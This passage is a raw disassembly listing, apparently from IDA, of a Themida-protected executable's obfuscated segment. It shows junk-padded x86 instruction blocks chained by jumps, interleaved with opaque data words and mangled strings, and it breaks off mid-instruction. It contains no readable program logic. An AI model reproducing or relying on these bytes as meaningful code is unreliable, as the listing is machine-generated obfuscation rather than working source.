91B35316h, 8073C380h, 0EB80A7F3h, 0E9DD28A4h, 0FFFFF08Dh dd 0BB241C89h, 3A4611E1h, 1B25F381h, 0F381424Dh, 696D2EFDh dd 4947E381h, 0E3C17D2Ah, 4EC8304h, 83240C89h, 0E5E904ECh dd 8BFFFF84h, 89572434h, 0B95150E7h, 58CC352Fh, 4E54C181h dd 0E9813E44h, 6929620Eh, 2D59C889h, 3F4A0C82h, 62EB1105h dd 0E9C70111h, 1D5Eh ; --------------------------------------------------------------------------- loc_59A38C: ; CODE XREF: Themida_:005A0C21j add esp, 4 push edx mov edx, ebx mov eax, edx pop edx pop ebx push esi jmp loc_591415 ; --------------------------------------------------------------------------- a1sHi_ db '\1è]hë.',0 dd 24348900h, 6EC268h, 243C8900h, 0C781E789h, 4, 0FFFE1FE9h dd 0ED8159FFh, 0AA051F66h, 0B790E9h, 1A040500h, 7B3533BAh dd 2D664568h, 0C51A9274h, 4756E9h, 0FCF68100h, 0E93A39FDh dd 2DD6h, 7AA468h, 240C8900h, 0FF98CDE9h, 81D6F7FFh, 0B27E3CEEh dd 632E911h, 48B0000h, 4C48124h, 80000000h, 0B753B8F2h dd 5BFA206Ch, 4EC81h, 45E90000h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A41F: ; CODE XREF: Themida_:005A240Aj mov ebp, 7023798Bh sub ebp, 612027D9h xor ebx, ebp jmp loc_599B5D ; --------------------------------------------------------------------------- loc_59A431: ; CODE XREF: Themida_:005A36BFj push ebp mov ebp, 1280390h shl ebp, 7 jmp loc_59F348 ; --------------------------------------------------------------------------- loc_59A43F: ; CODE XREF: Themida_:005A216Dj pop esp xchg edi, [esp] mov esp, [esp] push 3030h jmp loc_59F9E0 ; --------------------------------------------------------------------------- dd 0D15FF809h, 47EA68E0h, 0E9E90000h, 1000007h, 0B4D6E9F8h dd 0C8B0000h, 863EE924h, 0C280FFFFh, 0E9D0286Eh, 0AD5Fh ; --------------------------------------------------------------------------- loc_59A478: ; CODE XREF: Themida_:005A4AAEj add ebp, 4 push 8BAh mov [esp], esi mov esi, 6AD76A89h jmp loc_5932B4 ; --------------------------------------------------------------------------- dd 4240483h, 50242C8Bh, 38DEE9h, 65F9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A4A2: ; CODE XREF: Themida_:005A1E8Ej pop dword ptr [esp] mov esp, [esp] jmp loc_59A5DB ; --------------------------------------------------------------------------- db 52h, 0BAh, 9Ah dd 811AD047h, 0C907CEF2h, 5AD60970h, 0ACDF681h, 0F1215273h dd 0FF9ECFE9h, 0C8966FFh, 0B60F6624h, 0E763E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A4D6: ; CODE XREF: Themida_:005A3B30j sub esp, 4 mov [esp], edi jmp loc_595CB8 ; --------------------------------------------------------------------------- dd 81D9F75Bh, 4A12EDC9h, 81D1F718h, 2E5AD0E1h, 0ECE9534Dh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A4FB: ; CODE XREF: Themida_:00594355j add edi, esi pop esi xchg edi, [esp] pop esp sub esp, 4 jmp loc_591ABF ; --------------------------------------------------------------------------- db 81h, 0C6h, 0D7h dd 81225D5Eh, 0EA0F25C6h, 7FC6816Bh, 817B4D48h, 9F027CC6h dd 24048B69h, 4C481h, 0B9510000h, 2A8153BEh, 929BE56h dd 0F1214126h, 0BE56495Eh, 123h, 69CDBB53h, 0CCE94919h dd 0BF000014h, 2C142BD1h, 8104EFC1h, 2C14D3EFh, 5FF829EEh dd 1F707E2Dh, 5E80156h, 561F707Eh, 952DEA05h, 242C8B14h dd 0E904C483h, 0E5Dh ; --------------------------------------------------------------------------- loc_59A57C: ; CODE XREF: Themida_:005944E7j push ecx sub esp, 4 mov [esp], ebx push edx push 42C44BF4h jmp loc_5A2B23 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0B2h dd 814AD943h, 839B12E9h, 8BCE01E7h, 0F8E9240Ch, 58FFFF98h dd 9310E9h, 241C8700h, 0FFC9EAE9h, 0DD015BFFh, 242C875Bh dd 0FF8660E9h db 0FFh ; --------------------------------------------------------------------------- loc_59A5C1: ; CODE XREF: Themida_:0059FF16j mov [esp], eax jmp loc_594172 ; --------------------------------------------------------------------------- loc_59A5C9: ; CODE XREF: Themida_:005A5421j and ecx, esi mov esi, [esp] push esi mov esi, esp push 7680h jmp loc_5A09FD ; --------------------------------------------------------------------------- loc_59A5DB: ; CODE XREF: Themida_:0059A4A8j push ebx push 15D5h mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_59BCC8 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 4C0835Ch, 0E9240487h, 292Dh, 0E904C783h, 0FFFFB9A2h ; --------------------------------------------------------------------------- loc_59A608: ; CODE XREF: Themida_:0059CD9Bj jmp loc_590A9B ; --------------------------------------------------------------------------- aVsN db 'VéÓ',0 dw 6800h dd 0BCFh, 0BF243C89h, 6C8613Eh, 0FF77D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_59A625: ; CODE XREF: Themida_:0059AC17j sub edi, ebx push ecx mov ecx, 4DB44592h neg ecx jmp loc_59371D ; --------------------------------------------------------------------------- dd 0CF4B2B25h, 14F75024h, 7AF0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A642: ; CODE XREF: Themida_:005A2FCBj jmp loc_590A9B ; --------------------------------------------------------------------------- db 0C1h dd 240508E8h, 212E8B1Ch, 0F640E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A656: ; CODE XREF: Themida_:00592B76j push esi mov esi, 3F3A45A6h add edi, esi jmp loc_5A508A ; --------------------------------------------------------------------------- loc_59A663: ; CODE XREF: Themida_:00593259j sub edi, 61615B05h sub edi, 5730197Dh add edi, ebx add edi, 5730197Dh push esi mov esi, 50F26343h jmp loc_59226E ; --------------------------------------------------------------------------- dw 6C81h dd 5F7B0824h, 34FF6695h, 0EF54E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A692: ; CODE XREF: Themida_:005996DAj xor edx, [esp] xor [esp], edx jmp loc_5A22D8 ; --------------------------------------------------------------------------- align 2 aIstb db 'ëéâ',0 align 4 loc_59A6A4: ; CODE XREF: Themida_:0059819Dj add esp, 4 shr edx, 5 dec edx push ecx mov ecx, 5DDEDDEh jmp loc_59E55F ; --------------------------------------------------------------------------- aPh db 'Ph',1Bh,'!',0 align 4 dd 0B6241489h, 306AB46Fh, 0B2E95AF4h, 0B90000A8h, 19370F97h dd 0E181D9F7h, 3C32B27h, 0F9DE981h, 0CD297CF5h, 81240C8Bh dd 4C4h, 0CACBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A6EE: ; CODE XREF: Themida_:005A02E2j mov edi, [esp] add esp, 4 xchg edi, ebx xchg ebx, ebp inc ebp push edx mov edx, 0FFFFFFFFh sub ebp, edx jmp loc_59B4C4 ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 111DE924h, 0C9810000h, 527B795Dh, 0E9C1D9F7h, 0DAE95004h dd 5100009Bh, 296D2AB9h, 81D9F76Bh, 8EFBE0C1h, 59C801ECh dd 96B1E9h db 0 ; --------------------------------------------------------------------------- loc_59A739: ; CODE XREF: Themida_:00593442j sub ecx, ebp add ecx, 75E11DE6h jmp loc_59B513 ; --------------------------------------------------------------------------- aZSue db '‡,$éž…',0 align 2 dw 5149h dd 0EAE95955h, 58FFFFF3h, 0B034E950h, 0EC810000h, 4, 0FF918CE9h dd 13E95CFFh, 0BFFFFFAFh, 772234D3h, 10C1C781h, 0FE01955Dh dd 0BF57585Fh, 0C92210Bh, 498AC381h, 2BE93E67h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A78F: ; CODE XREF: Themida_:0059D0CBj inc ebx shl ebx, 2 or ebx, 1CF471FDh jmp loc_599080 ; --------------------------------------------------------------------------- dw 405h dd 0E9000000h, 3D68h, 4EC835Ah, 0FFC8F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_59A7B1: ; CODE XREF: Themida_:0059FE26j mov esi, 69D007B9h neg esi sub esi, 83AD8BACh and ecx, esi pop esi and ecx, 9B27D2Ch and ecx, 2C8960E3h xor ecx, 194C62C7h neg ecx add ecx, 25F733DDh add ebx, ecx mov ecx, [esp] jmp loc_594346 ; --------------------------------------------------------------------------- loc_59A7E5: ; CODE XREF: Themida_:005A074Cj push 4836h mov [esp], ebx mov ebx, 5FF478BFh sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebp mov ebp, 4FC474D6h mov ecx, 650FDC32h sub ecx, ebp pop ebp push esi mov esi, 0B322F92h add [esp+0Ch], esi pop esi sub [esp+8], ecx push eax mov eax, 0B322F92h jmp loc_5A0463 ; --------------------------------------------------------------------------- db 5Eh, 8Bh, 1Ch dd 4C48324h, 203FA01h, 0E92434FFh, 963Eh, 0E955E689h, 2678h ; --------------------------------------------------------------------------- loc_59A840: ; CODE XREF: Themida_:00594E33j push esp jmp loc_59A302 ; --------------------------------------------------------------------------- dw 0D831h dd 6F1668h, 241C8900h, 8931CABBh, 56F38706h, 5FE95E52h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A85F: ; CODE XREF: Themida_:005A01FAj mov dh, al pop eax pop ecx pop ebx mov bl, dh push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] jmp loc_59433A ; --------------------------------------------------------------------------- loc_59A875: ; CODE XREF: Themida_:00599480j push 1381C3Ah mov eax, [esp] add esp, 4 xchg eax, ebp inc ebp xchg eax, ebp add eax, 5A07FEB4h mov ecx, eax pop eax add ecx, 513E199Ch add ecx, 2D317FAFh jmp loc_59F49E ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFA275h, 0E950E189h, 8CBDh ; --------------------------------------------------------------------------- loc_59A8AC: ; CODE XREF: Themida_:0059F34Ej xor ebp, 79562853h shl ebp, 6 sub ebp, 9D203C25h xor edx, ebp jmp loc_5A2FFD ; --------------------------------------------------------------------------- dw 3A0Dh dd 2D3EA94Ah, 72B40BAAh, 158C289h, 5A082454h, 7DC468h dd 7113E900h, 0D7F7FFFFh, 0FF6D27E9h, 81EA01FFh, 13C1EC2h dd 16E95D34h, 0B8000099h, 4, 0FF8632E9h, 0F80166FFh, 0FFE4A7E9h dd 0B6BB53FFh, 89490222h, 69E95BD9h, 31FFFF72h, 0D4E95FF8h dd 53FFFFBBh, 823CE9h, 24448100h, 62476904h, 2474291Ch dd 246C8104h, 62476904h, 24348B1Ch, 0E904C483h, 0FFFF615Bh ; --------------------------------------------------------------------------- loc_59A940: ; CODE XREF: Themida_:005A2B13j mov [esp], ecx push 20674678h jmp loc_59A2DB ; --------------------------------------------------------------------------- db 66h, 52h, 0B6h dd 0E9D6F6EAh, 0FFFFC24Dh, 7CEAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A95E: ; CODE XREF: Themida_:00597287j sub esi, 4D472888h sub esi, 7AD702D7h add esi, edx add esi, 7AD702D7h add esi, 4D472888h pop edx xchg esi, [esp] pop esp push ebp push 3A3h mov [esp], esi mov esi, 536E1C04h jmp loc_59F505 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0C80004C4h, 0A2EAE9h db 0 byte_59A99D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0059085Co dd 0FFC0AAE9h, 7CA968FFh, 34890000h, 2474FF24h, 48F5E04h dd 0C0685C24h, 89000033h, 0EC83243Ch, 24148904h, 550A8468h dd 6AEDE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A9CE: ; CODE XREF: Themida_:0059E6F2j or eax, 50F64CC5h add eax, 2C09B13Fh add ebp, eax jmp loc_59F87C ; --------------------------------------------------------------------------- loc_59A9DF: ; CODE XREF: Themida_:005933FCj push 3E1Eh mov [esp], edx mov dh, 4Dh xor dh, 89h xor al, dh pop edx or al, 11h sub al, 6Eh mov ch, al pop eax jmp loc_59F353 ; --------------------------------------------------------------------------- db 0FFh dd 81582434h, 4C4h, 59A5E900h, 665C0000h, 9C242CD3h, 0FF6086E9h dd 33B951FFh, 0C14A0842h, 0E9C103E1h, 7E1C108h, 7E1E9h dd 4C18100h, 0E9000000h, 0FFFFDDCBh, 0D9F0C681h, 0F789422Bh dd 50EA815Eh, 813F4E3Ah, 0BE3114EAh, 9FEA8159h, 11C8327h dd 9FC281FAh, 0E91C8327h, 907Ah ; --------------------------------------------------------------------------- loc_59AA5C: ; CODE XREF: Themida_:005A422Ej push 4E89h mov [esp], ebp push esp jmp loc_590B18 ; --------------------------------------------------------------------------- dw 0C89h dd 7D70E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59AA72: ; CODE XREF: Themida_:0059B6D3j and esi, edx jmp loc_59C244 ; --------------------------------------------------------------------------- loc_59AA79: ; CODE XREF: Themida_:005A42BEj mov [esp], ebx jmp loc_5A06CA ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 1000000h, 0A06859CDh, 0E9000039h, 5045h, 53E68956h dd 0FFB70EE9h db 0FFh ; --------------------------------------------------------------------------- loc_59AA9D: ; CODE XREF: Themida_:00596471j pop ecx push dword ptr [esp] pop ebx sub esp, 4 jmp loc_598BC9 ; --------------------------------------------------------------------------- dw 0E2C0h dd 0B7EA8005h, 885AD700h, 0EAC05BFAh, 97C28007h, 6FE95153h dd 81FFFFEBh, 763F2EEAh, 81DA2909h, 763F2EC2h, 0E9565B09h dd 9DDBh, 5753525Ah, 0E71C0BFh, 42C7816Dh, 0E992F18Eh dd 0D9Ch, 0B9668B05h, 1C5D0570h, 0B7E95A83h, 89FFFF98h dd 77E958C5h, 880000ABh, 54F7E9FCh, 0EF870000h, 1BA52h dd 72E90000h, 54FFFFE8h, 4B68E9h, 52BA5200h, 31476234h dd 31D731FAh, 87D7F7FAh, 95EA81FAh, 0E9130A2Dh, 279Fh dd 3304C483h, 0B4E92404h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AB43: ; CODE XREF: Themida_:005A1B1Ej push ebx mov ebx, 0B761968h mov edx, 0D56F483h jmp loc_596205 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 3980h, 42474FFh dd 0FFF3AFE9h, 0C9F281FFh, 891CD270h, 82E5E9D7h, 0E95FFFFFh dd 0A9BDh, 0B0505866h, 58C63027h, 9681E9h, 4C68100h, 81000000h dd 4C6h, 24348700h, 0FFC220E9h db 0FFh ; --------------------------------------------------------------------------- loc_59ABA5: ; CODE XREF: Themida_:005A460Dj push 12D7h mov [esp], eax mov eax, 4 jmp loc_5A1EF7 ; --------------------------------------------------------------------------- loc_59ABB7: ; CODE XREF: Themida_:005A13B4j add esi, edx jmp loc_59E9A7 ; --------------------------------------------------------------------------- loc_59ABBE: ; CODE XREF: Themida_:005A0FB5j mov esp, [esp] mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov ecx, [esp] push eax mov eax, esp jmp loc_59D694 ; --------------------------------------------------------------------------- dw 0D001h dd 8478E9h, 4EE18100h, 810A2548h, 16229C1h, 59CE8918h dd 895EF201h, 0D5F75AD5h, 7CE6E9h db 0 byte_59ABFD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005907FCo dd 0E846824h, 1EE90000h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59AC0B: ; CODE XREF: Themida_:00592FD5j sub edi, 79A5028Fh add edi, 79063A00h jmp loc_59A625 ; --------------------------------------------------------------------------- dd 5404EC83h, 8124048Fh, 42404h, 0E5E90000h, 5B000066h dd 8F46E9h, 0C3815D00h, 2AA2BBDh, 3D90E9h db 0 ; --------------------------------------------------------------------------- loc_59AC41: ; CODE XREF: Themida_:005A0A92j add eax, ebp jmp loc_5A2196 ; --------------------------------------------------------------------------- dd 0E9242C89h, 13DBh, 8DC380h, 25C4E9C3h, 0C3880000h, 0A50E9h dd 4C78100h, 83000000h, 3C8704C7h, 68505C24h, 40h, 0FF2434FFh dd 51582434h, 0BE56E189h, 46D05252h, 57F68146h, 146D052h dd 0C1835EF1h, 240C8704h, 0DE4685Ch, 43E90000h, 8900008Bh dd 8B54240Ch, 0C483240Ch, 1F206804h, 81E90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59ACB3: ; CODE XREF: Themida_:00596AE2j pop ecx pop ebp push 3A12h mov [esp], esi push eax mov eax, 2E3362AAh push 731Bh mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_59FD45 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFF7B7Fh, 0B158F5BDh, 1A5BB818h, 33E9FDE3h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59ACF3: ; CODE XREF: Themida_:00599021j mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_5957B2 ; --------------------------------------------------------------------------- db 81h, 34h, 24h dd 730F41C0h, 41C03558h, 0BE5D730Fh, 1A422E20h, 5658C631h dd 0CA7E77BEh, 5EF30165h, 0EB81F301h, 65CA7E77h, 0FFBC9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59AD35: ; CODE XREF: Themida_:005A2A9Bj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 65E8h mov [esp], ebx mov ebx, 2 jmp loc_5A20AC ; --------------------------------------------------------------------------- dword_59AD54 dd 0E92434FFh, 46DAh, 5F2434FFh, 8104C483h, 60308CC3h ; DATA XREF: Themida_:005908ACo dd 205E90Dh, 0EB810000h, 6B3A851Ch, 9F22E9h, 0B2B85000h dd 89187062h, 0ED8158C5h, 3AA1207Eh, 46FEED81h, 0EAE958A0h dd 88FFFF5Eh, 0E75AE9CAh, 2958FFFFh, 1C335FFBh, 241C3124h dd 8B241C33h, 14892424h, 0E99C5024h, 0FFFF5CE7h, 8904EC83h dd 0E389241Ch, 4C381h, 0C3830000h, 241C3304h, 0FFE1F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59ADCD: ; CODE XREF: Themida_:0059F529j sub esp, 4 mov [esp], eax mov eax, 0E0C9BBB9h add ebp, 26447CE9h sub ebp, eax jmp loc_59F552 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 83241C8Bh, 0E95204C4h, 0FFFFA980h ; --------------------------------------------------------------------------- loc_59ADF4: ; CODE XREF: Themida_:005A05D3j add esp, 4 push 3E44h mov [esp], ecx jmp loc_591A08 ; --------------------------------------------------------------------------- a4hu3stx db '¾4Hž3éâX',0 align 2 word_59AE0E dw 8B66h ; DATA XREF: Themida_:005909C4o dd 0EC83240Ch, 6617E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59AE1A: ; CODE XREF: Themida_:0059F029j push esi push esp jmp loc_59705C ; --------------------------------------------------------------------------- loc_59AE21: ; CODE XREF: Themida_:00596B10j mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push edi jmp loc_591BF9 ; --------------------------------------------------------------------------- loc_59AE38: ; CODE XREF: Themida_:0059F53Aj push edi mov edi, 5EE8187Fh xor edi, 38BC27A9h mov ebx, edi push dword ptr [esp] jmp loc_5A0C20 ; --------------------------------------------------------------------------- dw 0BE66h dd 2966B0FDh, 1665DEEh, 665E66F3h, 0C0B70F5Eh, 15268h dd 240C8900h, 90E9E189h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AE6F: ; CODE XREF: Themida_:005A0601j mov [esp], edx push 0B777795h pop edx xor edx, 5A442FBAh shr edx, 4 sub esp, 4 jmp loc_591EB0 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 1528E9h, 32F58000h, 93DE9h, 0E1895100h, 0FFC826E9h dd 4C483FFh, 60C9E9h, 50D83000h, 405E089h, 83000000h, 48704E8h dd 14895C24h, 0B7535124h, 3032B5A0h, 2434FFFDh, 4C4835Bh dd 5208E5C0h, 0D6F6EE88h, 685AF588h, 46ADh, 0E9241489h dd 17B6h, 4245401h, 0E3E9585Ah, 8BFFFFB1h, 0C4832434h dd 7FF90504h, 0D02905EAh, 2BCE951h, 0F5010000h, 242C875Eh dd 30FF665Ch, 0FF5B8AE9h db 0FFh byte_59AF11 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00590828o aSdb db '$éDB',0 align 2 loc_59AF1A: ; CODE XREF: Themida_:00590CB6j xchg ebp, [esp] pop esp jmp loc_5A227E ; --------------------------------------------------------------------------- db 29h dd 4812404h, 5D22B524h, 0CD05586Ah, 0E961DB3Dh, 0FFFFEBF9h dd 4CC0E957h, 0C4810000h, 4, 3C87ED81h, 0B6E9404Eh, 1FFFF62h dd 0AC96E9DEh, 0F280FFFFh, 8A1DE95Bh, 0EB810000h, 6BD2188Eh dd 0F4BE5655h, 8965E16Dh, 5DE95EF5h, 1000095h, 8CB951C3h dd 810D6030h, 3E0ADEEBh, 58C3812Eh, 2942D657h, 58EB81CBh dd 8142D657h, 3E0ADEC3h, 0B951592Eh, 13976DEh, 0C8BCB29h dd 4C48324h, 6699E9h, 30ACB400h, 6F7E9CCh, 0DAF60000h dd 80EEB753h, 0EF807CE7h, 0F9EF80B4h, 805BFA30h, 0EA8027C2h dd 5AD3285Dh, 8FC0B60Fh, 0C4E98704h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59AFD7: ; CODE XREF: Themida_:005A2B96j pop edi sub esp, 4 jmp loc_593355 ; --------------------------------------------------------------------------- loc_59AFE3: ; CODE XREF: Themida_:005A3E02j add esi, ebx jmp loc_5917C9 ; --------------------------------------------------------------------------- dw 0E8BDh dd 8107F816h, 7B082444h, 166955Fh, 0E908246Ch, 0FFFFF682h dd 4EA81h, 0D9E90000h db 71h, 2 dup(0FFh) byte_59B00B db 66h ; DATA XREF: Themida_:00590870o dd 68240C8Bh, 1E61h, 7D20E9h, 11E95500h, 88FFFFA4h, 0FF04247Ch dd 0E95B2434h, 0FFFFE80Bh ; --------------------------------------------------------------------------- loc_59B02C: ; CODE XREF: Themida_:005A3597j pop ebx push 4EDEh mov [esp], esi mov esi, 5A7264E6h jmp loc_59E0D7 ; --------------------------------------------------------------------------- db 51h dd 240C8B54h, 5204C483h, 336DA0BAh, 0CFB2E917h, 0C15CFFFFh dd 0DA8703E2h, 0DA87D3F7h, 440C68h, 89EDE900h, 575F0000h dd 400EE9h, 0E0E95500h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B073: ; CODE XREF: Themida_:005A489Dj pop esi add esp, 4 shr edx, 6 xor edx, 528D698Bh sub edx, 52DE18BDh jmp loc_59508E ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 59545124h, 4C181h, 0E9810000h, 4, 97E9E9h db 0 ; --------------------------------------------------------------------------- loc_59B0A5: ; CODE XREF: Themida_:0059F657j and ebp, 39F374ACh xor ebp, 0FF4214Eh sub ebx, ebp pop ebp jmp loc_59603D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8107EBC1h, 0B003D1C3h, 666E97Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B0CA: ; CODE XREF: Themida_:0059CC08j add esi, eax pop eax mov edx, [esp] add esp, 4 xor esi, [esp] jmp loc_59360A ; --------------------------------------------------------------------------- a5c@dHl? db '5æ@„)hl?',0 dd 24148900h, 6611BB53h, 5A533AC4h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_593825 ; --------------------------------------------------------------------------- word_59B10A dw 1CF6h ; DATA XREF: Themida_:00590A10o dd 88E99C24h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B113: ; CODE XREF: Themida_:0059611Cj xor edx, 0A39C95C4h mov ebx, edx mov edx, [esp] add esp, 4 or esi, ebx pop ebx add esi, 0EF70ED18h sub ecx, esi push dword ptr [esp] pop esi jmp loc_592A27 ; --------------------------------------------------------------------------- dd 0E9D30158h, 0FFFFA794h, 0B706E953h, 6852FFFFh, 2E19h dd 0E9243489h, 6581h ; --------------------------------------------------------------------------- loc_59B154: ; CODE XREF: Themida_:0059C1B7j push esp jmp loc_5A1C53 ; --------------------------------------------------------------------------- loc_59B15A: ; CODE XREF: Themida_:00595090j pop edx and eax, esi push dword ptr [esp] mov esi, [esp] jmp loc_594C24 ; --------------------------------------------------------------------------- dword_59B168 dd 795568h, 24248900h, 4EC81h, 1C890000h, 46824h, 34FF0000h ; DATA XREF: Themida_:0059083Co dd 1CE95B24h, 66FFFFACh, 0C406C681h, 0FFF5CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B191: ; CODE XREF: Themida_:0059D0AAj mov esp, [esp] jmp loc_5A4CDD ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0C2810000h, 4, 1CAAE9h, 4B85000h, 81000000h dd 6C5426C5h, 3BDAE915h, 0F9B90000h, 0E905EA7Fh, 4872h dd 0E6B8C281h, 0D089D55Eh, 8324148Bh, 0C20104C4h, 12D6E9h dd 56D83100h, 8904EC83h, 6EE92434h, 0B1FFFF6Bh, 66CE281Dh dd 0C8B6659h, 2C48124h, 80000000h, 40E967F6h, 0F700007Eh dd 0DAB7E9D3h, 0E953FFFFh, 0FFFFA371h ; --------------------------------------------------------------------------- loc_59B210: ; CODE XREF: Themida_:0059FA35j mov edi, 7E29522Eh dec edi sub edi, 0C871058h jmp loc_5981AD ; --------------------------------------------------------------------------- db 51h, 0B9h, 0Bh dd 8140810Dh, 0AA22C0E1h, 0BB534969h, 20D321F6h, 0F5E9D929h dd 52000029h, 0D43093B2h, 0FF84D2E9h, 348152FFh, 0E1258324h dd 0F5815D67h, 67E12583h, 0BB535E5Ah, 392C3851h, 1C8BDD29h dd 4C48124h, 68000000h, 4B80h, 0E9243C89h, 0FFFFF2DBh ; --------------------------------------------------------------------------- loc_59B274: ; CODE XREF: Themida_:00590D0Dj mov ebx, 6B6561D9h xor ebx, 4F0A37E4h inc ebx sub ebx, 19716767h add ebx, 39172629h or ebp, ebx pop ebx jmp loc_597F6D ; --------------------------------------------------------------------------- aIISzq db 'ˆÑˆÌ釟',0 dd 60596800h, 3C890000h, 835F5424h, 0CBE904ECh db 48h, 2 dup(0) byte_59B2AF db 66h ; DATA XREF: Themida_:00590A28o dd 8324048Bh, 348904ECh, 0E0895024h, 405h, 42D00h, 1AE90000h dd 8B000070h, 0C483242Ch, 55D7F704h, 8D693BBDh, 7FF7E938h dd 3C310000h, 243C3324h, 0E924248Bh, 0FFFFE7E7h, 0C105EBC1h dd 814B05E3h, 13D8A0C3h, 8BDE29F7h, 0C483241Ch, 0ADAAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B306: ; CODE XREF: Themida_:005A4F58j add ebx, 4 xchg ebx, [esp] jmp loc_595934 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 53000000h, 0FB1BBFBBh, 5EBC136h, 0FF8725E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B325: ; CODE XREF: Themida_:00590B6Cj push ecx mov ecx, 6CB2331Bh jmp loc_59334B ; --------------------------------------------------------------------------- loc_59B330: ; CODE XREF: Themida_:00591ADDj sub esi, 0D07D0159h sub ebx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] mov edx, [esp] jmp loc_594523 ; --------------------------------------------------------------------------- loc_59B349: ; CODE XREF: Themida_:005A1B35j mov [esp], dx push ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B355: ; CODE XREF: Themida_:005919C4j sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_599294 ; --------------------------------------------------------------------------- db 1, 0CAh, 0FFh dd 242C8132h, 33912BDDh, 58E6E958h, 0E94DFFFFh, 5D15h dd 53EB815Bh, 0E94629EEh, 0A684h, 58E5EE81h, 0A8E94E8Bh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B3A7: ; CODE XREF: Themida_:005A0D53j sub edi, 0FF8722FBh mov eax, edi pop edi add edi, eax pop eax xor edi, [esp] xor [esp], edi jmp loc_591C69 ; --------------------------------------------------------------------------- dw 2C89h dd 87A3BD24h, 0C28169B1h, 328162B9h, 0EA81EA01h, 328162B9h dd 0FFB5B3E9h, 9DBA52FFh, 68348D6Fh, 0D04h, 0E9241489h dd 0FFFFDA72h, 266F5ABEh, 0DCE6815Eh, 83696D41h, 0A0E904ECh dd 8700006Bh, 665C241Ch, 9C240401h, 2E8EE9h db 0 ; --------------------------------------------------------------------------- loc_59B40D: ; CODE XREF: Themida_:005A46DCj sub ecx, ebp pop ebp jmp loc_5980DA ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0AAh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B41B: ; CODE XREF: Themida_:0059D255j sub esi, edx jmp loc_5920E9 ; --------------------------------------------------------------------------- dw 8950h dd 555051F8h, 5BF5753h, 4728347Dh, 0DFF7DFF7h, 8104E7C1h dd 6C6D64C7h, 0C8C78135h, 89A2620Ah, 1B65E9FBh, 3C8B0000h dd 4C48124h, 56000000h, 4D8C6DBEh, 0E9F12995h, 0FFFFC8BDh dd 1E5FAA25h, 97CCE901h, 34FF0000h, 241C8B24h, 0B859E955h dd 0C381FFFFh, 4, 86B4E9h db 0 ; --------------------------------------------------------------------------- loc_59B481: ; CODE XREF: Themida_:005A35F6j add ebp, 4 xchg ebp, [esp] jmp loc_5A0B1D ; --------------------------------------------------------------------------- db 2Ch dd 0E9D828B4h, 0FFFFA990h ; --------------------------------------------------------------------------- loc_59B498: ; CODE XREF: Themida_:005920EFj sub esi, 